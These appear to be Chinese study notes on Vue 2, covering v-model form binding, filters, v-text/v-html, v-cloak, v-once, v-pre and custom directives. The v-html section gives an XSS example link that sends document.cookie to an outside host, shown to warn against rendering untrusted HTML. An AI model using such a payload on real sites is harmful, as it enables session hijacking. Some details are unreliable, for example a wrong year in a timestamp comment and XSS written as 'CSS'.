收集表单数据
- demo如下
......
<body>
<div id="container">
<form action="" method="">
<!--v-model获取用户输入的值-->
账号: <input type="text" v-model="account"/> <br>
密码: <input type="password" v-model="pwd"/> <br>
<!--name值一样,才能实现单选效果,使用v-model收集value的值-->
性别: 男<input type="radio" name="sex" v-model="sex" value="male"> 女<input type="radio" name="sex" v-model="sex" value="female"/> <br>
<!--使用v-model收集value的值,注意,多选框的变量必须为arr,否则有问题-->
爱好: 篮球<input type="checkbox" v-model="hobby" value="basketball"/> 足球<input type="checkbox" v-model="hobby" value="football"/> 网球<input type="checkbox" v-model="hobby" value="tennis"/> <br>
<!--使用v-model收集value的值-->
所属校区: <select name="" v-model="city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="nanjing">南京</option>
<option value="guangzhou">广州</option>
</select><br>
<!--和收集用户名/密码一样-->
其他信息: <textarea v-model="other"></textarea><br>
<!--区别于性别的单选框,不需要value;有勾选就是true,没有勾选就是false-->
<input type="checkbox" v-model="agree" /> 阅读并接受<a href="#"><用户协议></a><br>
<button type="button">提交</button>
</form>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{ // 除了复选框是arr,其他都默认空字符串即可
account:'',
pwd:'',
sex:'',
hobby:[],
city:'',
other:'',
agree:''
},
methods:{
}
})
</script>
</body>
提交表单数据
- 先解决一个小问题,提交表单数据的时候
必须阻止表单默认的提交行为(多余的动作就不要)
<div id="container">
<!--阻止表单默认的行为,执行自定义的逻辑-->
<form @submit.prevent="demo">
......
<!--如果是 tpye="button" 是没有效果的-->
<button type="submit">提交</button>
</form>
</div>
......
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
......
methods:{
demo(){
alert(123)
},
}
})
</script>
- 打包表单数据(以下为demo演示,实际中不会这么搞...)
......
<div id="container">
<form @submit.prevent="demo">
......
<button type="submit">提交</button>
</form>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
account:'',
pwd:'',
sex:'',
hobby:[],
city:'',
other:'',
agree:''
},
methods:{
demo(){
console.log(JSON.stringify(this.$data))
},
}
})
</script>
'''
{"account":"admin","pwd":"aadasdfsadf","sex":"male","hobby":["basketball","football"],"city":"beijing","other":"sfsdfsdf","agree":true}
'''
- v-model添加修饰符(number),比如限制只能输入int类型数据
注意,".number"会自动把值转换成int类型(默认是str类型)
......
<body>
<div id="container">
<form @submit.prevent="demo">
......
<!--html标签先作基本的限制,再加上".number"修饰符-->
年龄: <input type="number" v-model.number="age"/> <br>
......
</form>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
......
age:''
},
methods:{
......
}
})
</script>
</body>
- v-model.lazy修饰符,让输入框不那么勤快,等失去焦点时候,再显示内容
......
<!--等textarea失去焦点的时候,other变量才显示文本-->
其他信息: <textarea v-model.lazy="other"></textarea><br>
......
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
......
other:'',
......
},
methods:{
......
}
})
</script>
- v-model.trim修饰符,删除文本左右的空格(文本中间若有空格,无法删除)
......
<!--当输入左右空格的时候,变量account自动忽略空格-->
账号: <input type="text" v-model.trim="account"/> <br>
......
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
account:'',
......
},
methods:{
......
}
})
</script>
- 收集表单数据小结
- 若是 input type="text"/>,v-model收集的是value值,用户输入的就是value值
- 若是 input type="radio"/>,v-model收集的是value值,且要给标签配置value值
- 若是 input type="checkbox"/>
- 若没有配置value属性,那么收集的就是checked(勾选/未勾选,是布尔值)
- 有配置value
- v-model的初始值是非数组,那么收集的就是checked(勾选/未勾选,是布尔值)
- v-model的初始值是数组,那么收集的就是value组成的数组
- v-model的三个修饰符
- lazy: 失去焦点的时候再收集数据
- number: 输入字符串转为有效的数字
- trim: 删除首尾字符串的空格
过滤器(非常类似django模板的语法)
-
功能: 对显示的数据进行特定格式化后再显示
-
注意: 并没有改变原本的数据,是产生新的对应的数据
-
应用场景: 简单的逻辑运算(复杂场景请使用方法或计算属性)
-
demo演示:把时间戳转换为'yyyy-mm:hⓂ️s'
>Date.now()
1670289325898 // 这个时间戳显然...
- 对时间进行操作的库,比较有名的有
- moment.js: 功能丰富,但是体积大
- dayjs: 轻量级操作库,本次demo就使用这个库来操作
dayjs()
.startOf('month')
.add(1, 'day')
.set('year', 2018)
.format('YYYY-MM-DD HH:mm:ss')
- 演示demo
......
<body>
<div id="container">
<h2>显示格式化以后的时间</h2>
<h2>原时间:{{now}}</h2>
<!--使用"计算属性"和'方法'实现-->
<h2>格式化后的时间(computed实现):{{nowFormat}}</h2>
<h2>格式化后的时间(methods实现):{{getFormat()}}</h2>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
now:'1670289325898' // 1672-07-03 02:29:08
},
computed:{
nowFormat(){
res = dayjs(this.now).format('YYYY-MM-DD HH:mm:ss')
return res
}
},
methods:{
getFormat(){
res = dayjs(this.now).format('YYYY-MM-DD HH:mm:ss')
return res
}
}
})
</script>
</body>
- 现在,使用过滤器实现相同的功能
......
<body>
<div id="container">
......
<h2>格式化后的时间(computed实现):{{nowFormat}}</h2>
<h2>格式化后的时间(methods实现):{{getFormat()}}</h2>
<!--增加这句...-->
<h2>格式化后的时间(过滤器实现):{{now | timeFilter}}</h2>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
now:'1670289325898'
},
computed:{
nowFormat(){
res = dayjs(this.now).format('YYYY-MM-DD HH:mm:ss')
return res
}
},
methods:{
getFormat(){
res = dayjs(this.now).format('YYYY-MM-DD HH:mm:ss')
return res
}
},
filters:{ // 过滤器实现,把data中的now当作参数传进来
timeFilter(value){
// res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
res = dayjs(value).format('YYYY-MM-DD HH:mm:ss')
return res
}
}
})
</script>
</body>
- 接收多个参数的时候,第一个参数永远是变量
......
<h2>格式化后的时间(过滤器实现):{{now | timeFilter}}</h2>
<h2>格式化后的时间(多个参数实现):{{now | manyTimeFilter("YYYY_MM_DD")}}</h2>
......
filters:{
timeFilter(value){
res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
return res
},
manyTimeFilter(value,str){ // 接收两个参数
res = dayjs(value).format(str)
return res
}
}
- 上述demo的逻辑优化一下,传参就使用参数,不传参就使用默认的参数
......
<h2>格式化后的时间(多个参数实现):{{now | manyTimeFilter("YYYY_MM_DD")}}</h2>
<h2>格式化后的时间(默认参数实现):{{now | manyTimeFilter}}</h2>
......
filters:{
timeFilter(value){
res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
return res
},
manyTimeFilter(value,str='YYYY年MM月DD日 HH:mm:ss'){ // 自定义默认参数
res = dayjs(value).format(str)
return res
}
}
- 传入多个过滤器demo演示(后面的过滤器的参数,是以之前过滤器的返回值为准)
......
<h2>格式化后的时间(过滤器实现):{{now | timeFilter | mySlice}}</h2>
......
filters:{
timeFilter(value){
res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
return res
},
......
mySlice(value){
return value.slice(0,4) // 对字符串进行切片
}
}
- 注意事项: 在vue实例中,自定义的过滤器属于'局部过滤器',只能给这个vue实例使用
别的vue实例是不可以拿过来用的,如果实在想用,可以自定义'全局过滤器'
......
<body>
<div id="container">
......
<h2>格式化后的时间(过滤器实现):{{now | timeFilter | mySlice}}</h2>
......
</div>
<div id="box">
<span>{{myData | mySlice}}</span> <!--直接使用-->
</div>
<script type="text/javascript">
Vue.filter('mySlice',(value)=>{ // 定义全局filter
return value.slice(0,4)
});
var vm = new Vue({
'el':'#container',
data:{
now:'1670289325898'
},
filters:{
timeFilter(value){
res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
return res
},
}
});
var vmBox = new Vue({
'el':'#box',
data:{
myData:'666666666666666'
},
})
</script>
</body>
- 视图使用过滤器的时候,不一定要用插值语法(一般都是插值语法,看着比较爽...),以下演示
......
<div id="box">
<span :x="msg | mySlice">111</span> <!--这种写法可行,但是少见-->
</div>
......
Vue.filter('mySlice',(value)=>{
return value.slice(0,4)
})
var vmBox = new Vue({
'el':'#box',
data:{
msg:'kingking'
},
})
......
- 注意事项:以下写法是错的,不能这么玩
......
<div id="box">
<span :x="msg | mySlice">111</span> <!--正确写法-->
<input type="" v-model="msg | mySlice" /> <!--错误写法,vue会报错,不支持这种写法-->
</div>
- 过滤器小结
- 定义: 对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
- 语法:
- 注册过滤器: Vue.filter(name,callback) 或者 new Vue(filters:{})
- 使用过滤器: {{ xxx | 过滤器名 }} 或 v-bind:属性 = "xxx | 过滤器名"
- 备注:
- 过滤器也可以接收额外参数,多个过滤器也可以串联
- 并没有改变原本的数据,是产生新的对应的数据
v-text指令
-
作用: 向其所在的节点中渲染文本内容
-
与插值语法的区别
- v-text会替换掉节点中的内容,插值语法则不会
-
基础用法
......
<body>
<div id="container">
{{name}}
<div v-text="age"></div>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
name:'JimGreen', // 插值语法
age:18 // 展示
},
});
</script>
</body>
- 注意事项,写了v-text以后,div块就不要再写文本,因为会被v-text替换掉
<div id="container">
{{name}}
<div v-text="age">你好</div> <!--你好 白写,会被 age值替换-->
</div>
- 不会解析html标签
......
<body>
<div id="container">
{{name}}
<div v-text="age">你好</div>
<div v-text="htmlContent">你好</div> <!--新增-->
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
name:'JimGreen',
age:18,
htmlContent:'<h1>我会被解析吗?</h1>' // 不会被解析html文本,会原样输出
},
});
</script>
</body>
......
v-html 指令:类似v-text,只不过会解析 html 标签
-
作用: 向指定节点中渲染包含html结构的内容
-
把上面的示例小改一下
......
<body>
<div id="container">
......
<div v-html="htmlContent">你好</div> <!--修改之处-->
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
......
htmlContent:'<h1>我会被解析吗?</h1>' // 会被解析html文本
},
});
</script>
</body>
......
-
v-html 引发的安全性问题探讨
-
在网站上动态渲染任意html是非常危险的,容易导致CSS攻击
-
一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上
-
- 由于可以解析html标签,当插入 script/a 标签的时候,可以运行js代码,比如
......
<div id="container">
......
<div v-html="htmlContent">你好</div>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
......
htmlContent:'<a href="javascript:alert(123);">点我</a>'
},
});
</script>
- 可以运行js代码,能做的事情很多,比如获取cookie(服务方没有对cookie进行加密)
从而冒充真正的用户登录(document.cookie)
'<a href=javascript:location.href="http://www.baidu.com?"+ducument.cookie>点我</a>'
- 如果服务方设置允许http协议才能获取cookie,那么此时js代码是无法获取cookie的
> document.cookie // 未设置http协议
'csrftoken=d2GEfdCril5F5l6ZDuGeMibBZCsaVUntZ1hlQZfYWJUVnHNUEOQBdl3INAEmIsDS'
> document.cookie // 勾选了 httpOnly,无法再获取cookie
''
-
与插值语法的区别
-
v-html会替换掉节点中所有的内容,插值语法则不会
-
v-html会自动识别html结构
-
v-cloak 指令(没有值)
-
是一个特殊属性,vue实例创建完毕并接管容器以后,会删除 v-cloak指令
-
配合css(display:none)可以解决网速慢时,页面显示出{{xxx}}的问题
-
代码演示(前提是: 先使用node.js写出延迟5s的效果)
......
<style type="text/css">
[v-cloak] {
display: none;
}
</style>
......
<body>
<!--页面刚加载的时候,插值被隐藏起来-->
<div id="container" v-cloak>
{{name}}
</div>
<script type="text/javascript">
var vm = new Vue({ <!--vue实例被创建并接管容器,v-cloak会自动被删除-->
'el':'#container',
data:{
name:'JimGreen',
},
});
</script>
</body>
v-once 指令
-
v-once所在的节点在初次动态渲染后,就被vue视为静态内容
-
以后数据的改变不会引起 v-once所在的结构更新,可以用于优化性能
......
<body>
<div id="container" v-cloak>
<!--只执行一次,n永远为1-->
<h3 v-once>n的初始值是:{{n}}</h3>
<!--此时n值会一直自加1,没毛病-->
<h3>n现在的值是:{{n}}</h3>
<button type="button" @click="n++">计算</button>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
n:1,
},
});
</script>
</body>
- 注意,v-once要区别于"事件的once",例如"@click.once=..."
v-pre指令
-
跳过其所在节点的编译过程
-
好处: 提升效率(没有指令语法的节点,就可以使用它)
......
<body>
<div id="container" v-cloak>
<!--初始值这个节点,是不会被编译的,所以页面显示{{n}}-->
<h3 v-pre>n的初始值是:{{n}}</h3>
<h3>n现在的值是:{{n}}</h3>
<button type="button" @click="n++">计算</button>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
n:1,
},
});
</script>
</body>
自定义指令
- 自定义一个'v-big'指令,和'v-text'功能类似,但要把传入的值放大十倍
......
<body>
<div id="container" v-cloak>
<h3 v-text="n"></h3> <!--原生-->
<h3>v-big方法十倍:<span v-big="n"></span></h3> <!--自定义-->
<button type="button" @click="n++">计算</button>
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
n:1,
},
directives:{ // directive 就是指令的意思
big(el,binding){ // el表示'包裹指令的元素对象',binding表示'指令对象'
// console.log(el,binding)
el.innerText = binding.value*10
}
}
});
</script>
</body>
......
-
问题探讨,big函数什么时候会被调用
-
自定义指令与元素成功绑定时(初始化的时候)
-
指令所在模板被重新解析时
-
-
自定义指令二: 定义一个 v-fbind 指令,和 v-bind指令类似
绑定 input元素时,要默认就获取到焦点
......
<body>
<div id="container" v-cloak>
<h3 v-text="n"></h3>
<h3>v-big方法十倍:<span v-big="n"></span></h3>
<button type="button" @click="n++">计算</button>
<input type="text" v-fbind:value="n" /> <!--新增-->
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
n:1,
},
directives:{
big(el,binding){
// console.log(el,binding)
el.innerText = binding.value*10
},
fbind(el,binding){
el.value = binding.value // 赋值并获取焦点
el.focus()
}
}
});
</script>
</body>
- 结果:值成功获取到了,但是获取焦点失败
只有点击计算按钮的时候,input框才成功获取焦点
指令所在模板被重新解析时,fbind被重新调用了,执行了el.focus()
从而获取焦点
- 现在使用纯JS来演示这个问题
得先把元素放到页面上,才能获取焦点
元素如果在内存中,那么如何获取鼠标焦点呢
显然是无法做到的
......
<body>
<button type="button" id="btn">创建</button>
<script>
var btn = document.querySelector('#btn')
btn.onclick = ()=>{
var inputEl = document.createElement('input')
document.body.appendChild(inputEl) // 关键步骤
inputEl.focus()
}
</script>
</body>
......
- 上述代码中,如果把最后两句顺序对调一下,就无法获取焦点了
- 使用vue解决这个问题
......
<body>
<div id="container" v-cloak>
<h3 v-text="n"></h3>
<h3>v-big方法十倍:<span v-big="n"></span></h3>
<button type="button" @click="n++">计算</button>
<input type="text" v-fbind:value="n" />
</div>
<script type="text/javascript">
var vm = new Vue({
'el':'#container',
data:{
n:1,
},
directives:{
big(el,binding){
......
},
fbind:{
bind(el,binding){ // 初始化的时候调用
// console.log('bind被调用')
el.value = binding.value
},
inserted(el,binding){ // 指令所在的元素被插入页面
// console.log('inserted被调用')
el.focus() // 页面刷新的时候,bind和inserted均被调用
},
update(el,binding){ // 指令所的模板被重新解析时
// console.log('update被调用')
el.value = binding.value // 点击按钮的时候,调用
}
}
}
});
</script>
</body>
自定义指令需要注意的问题
-
不要采用驼峰命名,容易出错(推荐使用'xxx-yyy-zzz'这种命名)
-
自定义指令函数中,this指向windows对象,而不是vm实例
-
自定义指令只能局部使用(单个vue实例使用),如果想实现复用(多个vue实例复用,必须定义全局指令)
- Vue.directive('fbind',配置项/函数)